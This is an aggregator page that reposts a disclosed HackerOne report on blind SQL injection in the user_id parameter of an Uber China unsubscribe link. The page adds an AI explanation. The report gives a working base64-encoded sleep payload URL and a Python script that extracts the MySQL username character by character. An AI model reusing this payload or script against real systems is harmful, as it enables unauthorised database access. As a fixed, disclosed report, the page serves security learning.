Skip to content
SQL injection Disclosed report Intermediate

SQL Injection on sctrack.email.uber.com.cn

The unsubscribe link on a marketing email contained a user_id parameter that was vulnerable to SQL injection. An attacker could use time-based blind SQL injection to extract the database name and MySQL username.

Orange Tsai .8361) Follow

Originally disclosed on HackerOne

Bounty$4,000 View original
  • Triaged in 5 days
  • Fixed in 7 days
  • Paid in 14 days
  • Disclosed after 17 days

Hi, Uber Security team

I just traveled to China, when I call Uber in China. I received an advertisement mail from Uber and I found the unsubscribe link is different from the original unsubscribe link, and there is a SQL Injection under the unsubscribe link.

You can see where to find the unsubscribe link from the attachments.

The parameter of user_id is suffered from SQL Injection.

Payload

http://sctrack.email.uber.com.cn/track/unsubscribe.do?p=eyJ1c2VyX2lkIjogIjU3NTUgYW5kIHNsZWVwKDEyKT0xIiwgInJlY2VpdmVyIjogIm9yYW5nZUBteW1haWwifQ==

You can see the server sleep 12 seconds.

I write a script to dump the database name and user name.

import json
import string
import requests
from urllib import quote
from base64 import b64encode

base = string.digits + '_-@.'
payload = {"user_id": 5755, "receiver": "blog.orange.tw"}

for l in range(0, 30):
    for i in 'i'+base:
        payload['user_id'] = "5755 and mid(user(),%d,1)='%c'#"%(l+1, i)
        new_payload = json.dumps(payload)
        new_payload = b64encode(new_payload)
        r = requests.get('http://sctrack.email.uber.com.cn/track/unsubscribe.do?p='+quote(new_payload))

        if len(r.content)>0:
            print i,
            break

The username of mysql user is [email protected] The database name is sendcloud

Attachments

2016-07-09_071009.jpg
2016-07-09_071009.jpg From the original on HackerOne
2016-07-09_070035.jpg
2016-07-09_070035.jpg
2016-07-09_071022.jpg
2016-07-09_071022.jpg

The original report as published on HackerOne, by orange. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could extract sensitive database information, including the database name and MySQL username, through time-based blind SQL injection.

What the attacker needed

Access to the unsubscribe link

How it was found

  1. Receive an advertisement email from Uber in China and notice the unsubscribe link differs from the usual one.
  2. Identify that the user_id parameter in the unsubscribe link is vulnerable to SQL injection.
  3. Send a crafted request that causes the server to sleep for 12 seconds, confirming the injection.
  4. Use a script to extract the database name and MySQL username via time-based blind SQL injection.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website takes a value from a link and puts it directly into a database command without checking it. By sending a special value, an attacker can make the database wait or reveal hidden information, such as the database name and user.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by Orange Tsai .8361)

View all

22 more disclosed reports, best first.

More from Uber

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.